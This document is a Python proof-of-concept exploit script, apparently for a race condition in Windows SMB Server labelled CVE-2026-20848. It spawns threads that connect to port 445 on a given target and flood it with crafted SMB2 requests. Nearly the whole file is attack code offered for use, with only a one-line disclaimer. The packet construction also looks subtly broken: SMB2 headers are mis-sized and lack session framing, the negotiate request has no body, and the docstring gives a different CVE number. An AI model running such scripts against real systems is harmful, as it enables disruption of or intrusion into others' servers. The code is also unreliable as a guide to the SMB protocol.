# CVE-2026-20848 Windows SMB Server Race Condition PoC
# This PoC demonstrates the race condition in SMB Server concurrent request handling
import socket
import struct
import time
import threading
def create_smb_negotiate_packet():
"""Create SMB2 NEGOTIATE request packet"""
# SMB2 Header
packet = b'\xfe\x53\x4d\x42' # Protocol ID
packet += struct.pack('<H', 64) # Structure Size
packet += b'\x00\x00' # Credit Charge
packet += struct.pack('<I', 0) # Status
packet += struct.pack('<H', 0) # Command
packet += b'\x00\x00' # Credits
packet += b'\x00\x00\x00\x00' # Flags
packet += b'\x00\x00\x00\x00' # NextCommand
packet += b'\x00\x00\x00\x00\x00\x00\x00\x00' # MessageId
packet += b'\x00\x00' # Reserved
packet += struct.pack('<I', 0) # TreeId
packet += b'\x00\x00\x00\x00\x00\x00\x00\x00' # SessionId
packet += b'\x00' * 16 # Signature
packet += b'\x00' * 32 # Reserved
return packet
def create_race_trigger_request(session_id, tree_id, request_id):
"""Create SMB request designed to trigger race condition"""
packet = b'\xfe\x53\x4d\x42' # SMB2 Header
packet += struct.pack('<H', 64) # Structure Size
packet += struct.pack('<H', 1) # Credit Charge (high value for concurrency)
packet += struct.pack('<I', 0) # Status
packet += struct.pack('<H', 5) # Tree Connect Command
packet += struct.pack('<H', 0) # Credits
packet += struct.pack('<I', 0x0001) # Flags
packet += struct.pack('<Q', request_id) # MessageId
packet += struct.pack('<I', tree_id) # TreeId
packet += struct.pack('<Q', session_id) # SessionId
packet += b'\x00' * 16 # Signature
return packet
def smb_connection_thread(target_ip, thread_id, results):
"""Thread function to establish SMB connection and send race trigger"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((target_ip, 445))
# Send NEGOTIATE request
negotiate_packet = create_smb_negotiate_packet()
sock.send(negotiate_packet)
# Receive response
response = sock.recv(1024)
# Send multiple concurrent requests to trigger race condition
for i in range(10):
race_packet = create_race_trigger_request(
session_id=thread_id * 1000 + i,
tree_id=1,
request_id=i
)
sock.send(race_packet)
time.sleep(0.001) # Minimal delay to increase race condition probability
results[thread_id] = {'status': 'exploit_sent', 'thread_id': thread_id}
sock.close()
except Exception as e:
results[thread_id] = {'status': 'error', 'error': str(e)}
def exploit_cve_2026_20848(target_ip, num_threads=10):
"""
Exploit CVE-2026-20248: Windows SMB Server Race Condition
This PoC sends concurrent SMB requests to trigger the race condition
in Windows SMB Server's shared resource synchronization.
Note: This is for educational and authorized testing purposes only.
"""
print(f"[*] Starting CVE-2026-20848 exploitation against {target_ip}")
print(f"[*] Launching {num_threads} concurrent threads to trigger race condition")
results = {}
threads = []
# Launch concurrent threads to maximize race condition probability
for i in range(num_threads):
t = threading.Thread(target=smb_connection_thread,
args=(target_ip, i, results))
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
print("[*] Exploitation attempt completed")
print(f"[*] Results: {results}")
print("[*] Note: Successful exploitation requires precise timing and specific conditions")
return results
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python cve_2026_20848.py <target_ip>")
sys.exit(1)
target = sys.argv[1]
exploit_cve_2026_20848(target)